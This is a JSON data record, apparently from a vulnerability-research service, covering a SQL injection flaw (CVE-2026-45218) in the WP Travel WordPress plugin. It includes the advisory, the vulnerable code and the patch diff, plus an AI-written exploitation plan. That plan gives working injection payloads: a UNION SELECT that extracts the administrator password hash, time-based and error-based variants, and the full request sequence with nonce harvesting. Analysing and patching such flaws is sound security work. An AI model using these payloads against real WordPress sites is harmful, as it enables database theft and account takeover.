[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fljloxOOAX-o74sYLd5OAko2qVrKlx6hTsMi0nnomZdE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-45218","wp-travel-ultimate-travel-booking-system-tour-management-engine-authenticated-contributor-sql-injection","WP Travel – Ultimate Travel Booking System, Tour Management Engine \u003C= 11.4.0 - Authenticated (Contributor+) SQL Injection","The WP Travel – Ultimate Travel Booking System, Tour Management Engine plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 11.4.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wp-travel",null,"\u003C=11.4.0","11.5.0","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-09 00:00:00","2026-05-19 13:19:20",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F95ce3773-a676-4aa6-9314-6adccf44d070?source=api-prod",11,[22,23,24,25,26,27,28,29],"app\u002Fassets\u002Fjs\u002Flib\u002Fdatepicker\u002Fdatepicker.js","app\u002Fassets\u002Fjs\u002Fwp-travel-frontend.bundle.js","app\u002Fassets\u002Fmanifest.json","core\u002Fajax\u002Ftrips.php","core\u002Fhelpers\u002Fpricings.php","core\u002Fhelpers\u002Fschema.php","core\u002Fhelpers\u002Ftrip-dates.php","inc\u002Fadmin\u002Fclass-dashboard-widgets.php","researched",false,3,"# Detailed Exploitation Research Plan - CVE-2026-45218\n\n## 1. Vulnerability Summary\n**CVE-2026-45218** is a SQL Injection vulnerability in the **WP Travel** plugin (versions \u003C= 11.4.0) affecting the `update_trip` AJAX functionality. The flaw exists in the `WpTravel_Helpers_Trip_Dates::add_individual_date` function, where the `pricing_ids` parameter from user input is interpolated directly into a SQL `IN()` clause without sufficient escaping or the use of placeholders in `wpdb->prepare()`. This allows an authenticated attacker (Contributor level and above) to execute arbitrary SQL queries to extract sensitive data from the database.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wp_travel_update_trip`\n- **Vulnerable Parameter:** `pricing_ids` (within the `dates` array of the JSON payload)\n- **Authentication:** Authenticated, Contributor level or higher. The attacker must have permission to edit a specific \"itinerary\" (trip) post.\n- **Preconditions:**\n    - A trip (post type `itineraries`) must exist and be editable by the attacker.\n    - A valid `wp_travel_nonce` must be obtained.\n\n## 3. Code Flow\n1. **Entry Point:** The AJAX action `wp_ajax_wp_travel_update_trip` triggers `WP_Travel_Ajax_Trips::update_trip()` in `core\u002Fajax\u002Ftrips.php`.\n2. **Permission Check:** It calls `self::get_trip_permission_check()`, which verifies the `wp_travel_nonce` and checks if the user has `edit_post` capabilities for the given `trip_id`.\n3. **Data Handling:** The function reads the JSON payload from `php:\u002F\u002Finput`, decodes it, and passes it to `WP_Travel_Helpers_Trips::update_trip($trip_id, $new_post_data)`.\n4. **Helper Logic:** `WP_Travel_Helpers_Trips::update_trip` calls `WpTravel_Helpers_Trip_Dates::update_dates($trip_id, $dates)` (located in `core\u002Fhelpers\u002Ftrip-dates.php`).\n5. **Vulnerable Sink:** `update_dates` iterates through the provided dates and calls `add_individual_date($trip_id, $date)`.\n6. **SQL Injection Point:** In `core\u002Fhelpers\u002Ftrip-dates.php`, the following code executes:\n   ```php\n   $pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : '';\n   if ( $pricing_ids ) {\n       \u002F\u002F VULNERABLE LINE\n       $result = $wpdb->get_row( $wpdb->prepare( \"SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )\", $trip_id ) );\n       $pricing_ids = $result->pricing_ids;\n   }\n   ```\n   The `$pricing_ids` variable is directly concatenated into the SQL string. The `$wpdb->prepare` only parameterizes the `$trip_id`.\n\n## 4. Nonce Acquisition Strategy\nTo obtain the `wp_travel_nonce` for an authenticated user:\n1. Log in as a **Contributor**.\n2. Create or navigate to the edit page of an itinerary: `\u002Fwp-admin\u002Fpost.php?post=ID&action=edit` (where ID is a trip ID owned by the contributor).\n3. Use `browser_navigate` to load the editor page.\n4. Use `browser_eval` to extract the nonce from the localized JavaScript object.\n5. **Localization Key:** `wp_travel_obj.nonce` (inferred from plugin standard; verify with `window.wp_travel_obj` in console).\n\n## 5. Exploitation Strategy\nThe goal is to use a `UNION SELECT` payload to extract the administrator's password hash and save it into the `wt_dates` table, then retrieve it via a subsequent `get_trip` call.\n\n### Step 1: SQL Injection Attack\n**HTTP Request:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wp_travel_update_trip&trip_id=[TRIP_ID]&_nonce=[NONCE]`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fjson`\n- **Payload:**\n  ```json\n  {\n    \"dates\": [\n      {\n        \"title\": \"Exploit Date\",\n        \"start_date\": \"2026-01-01\",\n        \"pricing_ids\": \"0) UNION SELECT user_pass FROM wp_users WHERE ID=1 #\"\n      }\n    ]\n  }\n  ```\n  *Note:* The payload closes the `IN(` parenthesis, performs a `UNION SELECT` to fetch the admin hash, and comments out the rest.\n\n### Step 2: Data Extraction\n**HTTP Request:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wp_travel_get_trip&trip_id=[TRIP_ID]&_nonce=[NONCE]`\n- **Method:** `GET`\n- **Expected Response:** A JSON object where the `dates` array contains an entry with `pricing_ids` set to the admin's password hash.\n\n## 6. Test Data Setup\n1. **Create User:** Create a user with the `contributor` role.\n2. **Create Itinerary:** Use WP-CLI to create a trip post owned by the contributor.\n   ```bash\n   wp post create --post_type=itineraries --post_title=\"Test Trip\" --post_author=[CONTRIBUTOR_ID] --post_status=publish\n   ```\n3. **Obtain Trip ID:** Record the ID of the created post.\n\n## 7. Expected Results\n- The `update_trip` request should return a success code (`WP_TRAVEL_UPDATE_TRIP_PRICINGS` or similar).\n- The `get_trip` request should return the itinerary data.\n- The `dates` field in the `get_trip` response will contain the result of the SQL subquery (the admin hash) in the `pricing_ids` field.\n\n## 8. Verification Steps\n1. **Database Check:** Verify the contents of the `wt_dates` table using WP-CLI.\n   ```bash\n   wp db query \"SELECT pricing_ids FROM wp_wt_dates WHERE trip_id=[TRIP_ID]\"\n   ```\n2. **Hash Comparison:** Compare the returned value with the actual admin hash:\n   ```bash\n   wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n   ```\n\n## 9. Alternative Approaches\n- **Time-Based Blind SQLi:** If the `UNION` approach is restricted by `GROUP_CONCAT` behavior, use a sleep-based payload:\n  `pricing_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND (1 IN (1`\n- **Error-Based SQLi:** If `WP_DEBUG` is enabled, use `updatexml()` or `extractvalue()`:\n  `pricing_ids=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND (1 IN (1`","The WP Travel plugin for WordPress is vulnerable to authenticated SQL Injection via the 'pricing_ids' parameter in the 'wp_travel_update_trip' AJAX action. This vulnerability exists because the plugin directly concatenates user-supplied data into a SQL query's IN() clause without proper sanitization or parameterization, allowing a contributor-level attacker to extract sensitive data from the database.","\u002F\u002F core\u002Fhelpers\u002Ftrip-dates.php:174\n\t\t$date_id     = ! empty( $date['id'] ) ? $date['id'] : '';\n\t\t$pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : '';\n\t\t\n\t\tif ( $pricing_ids ) { \u002F\u002F Need to sort pricing id in dates table to display pricing as per sorted.\n\t\t\t$result      = $wpdb->get_row( $wpdb->prepare( \"SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )\", $trip_id ) ); \u002F\u002F @phpcs:ignore\n\t\t\t$pricing_ids = $result->pricing_ids;\n\t\t}","--- core\u002Fhelpers\u002Ftrip-dates.php\n+++ core\u002Fhelpers\u002Ftrip-dates.php\n@@ -174,7 +174,10 @@\n \t\t$pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : '';\n \t\t\n \t\tif ( $pricing_ids ) { \u002F\u002F Need to sort pricing id in dates table to display pricing as per sorted.\n-\t\t\t$result      = $wpdb->get_row( $wpdb->prepare( \"SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )\", $trip_id ) ); \u002F\u002F @phpcs:ignore\n+\t\t\t$pricing_ids_arr = array_map( 'absint', explode( ',', $pricing_ids ) );\n+\t\t\t$placeholders    = implode( ',', array_fill( 0, count( $pricing_ids_arr ), '%d' ) );\n+\t\t\t$query           = $wpdb->prepare( \"SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $placeholders )\", array_merge( array( $trip_id ), $pricing_ids_arr ) );\n+\t\t\t$result          = $wpdb->get_row( $query ); \u002F\u002F @phpcs:ignore\n \t\t\t$pricing_ids = $result->pricing_ids;\n \t\t}","The attacker first authenticates as a Contributor and obtains a valid 'wp_travel_nonce' and a trip ID they have permission to edit. They then send a POST request to 'wp-admin\u002Fadmin-ajax.php' with the action 'wp_travel_update_trip'. The payload is a JSON object containing a 'dates' array where the 'pricing_ids' field is populated with a SQL injection payload (e.g., '0) UNION SELECT user_pass FROM wp_users WHERE ID=1 -- '). Because the 'pricing_ids' value is directly concatenated into a GROUP_CONCAT query, the subquery result is stored in the 'wt_dates' table. Finally, the attacker retrieves the extracted data (such as the admin password hash) by calling the 'wp_travel_get_trip' AJAX action for the modified trip.","gemini-3-flash-preview","2026-05-20 19:05:56","2026-05-20 19:06:48",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","11.4.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-travel\u002Ftags\u002F11.4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-travel.11.4.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-travel\u002Ftags\u002F11.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-travel.11.5.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-travel\u002Ftags"]